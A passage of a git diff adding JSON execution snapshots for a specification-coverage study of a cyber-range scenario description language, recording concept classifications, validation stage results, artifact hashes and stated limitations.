"outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "80a712b8d3d51209500174a5aeb551b6e59b610793f1ca1d2b344decfd6f7505", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "f1c71228beab51c8e55348178a8e37e4ce9c2dd52aefd7f74c5a59ef2425b6e6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "182ba3dd4797f03e8fe81ac4e99866dccb948a73642b879a2c6c88d28b32654d", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "ccf9af047663d013c37437524a82d0b34797dc7e", + "snapshot_id": "raes-standardized-specification-coverage-issue-1069-v40", + "snapshot_revision": "40.0.0", + "source_state": { + "base_revision": "ccf9af047663d013c37437524a82d0b34797dc7e", + "checkout_state": "modified", + "implementation_digest": "c575182c51a05f42876218f61347e0df5d8f495ee855fcdacf6f42df35e2091e", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v43.json b/docs/research/specification-coverage/execution-snapshot-v43.json new file mode 100644 index 000000000..1ea1b34b7 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v43.json @@ -0,0 +1,699 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-21T13:54:09.331869+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": 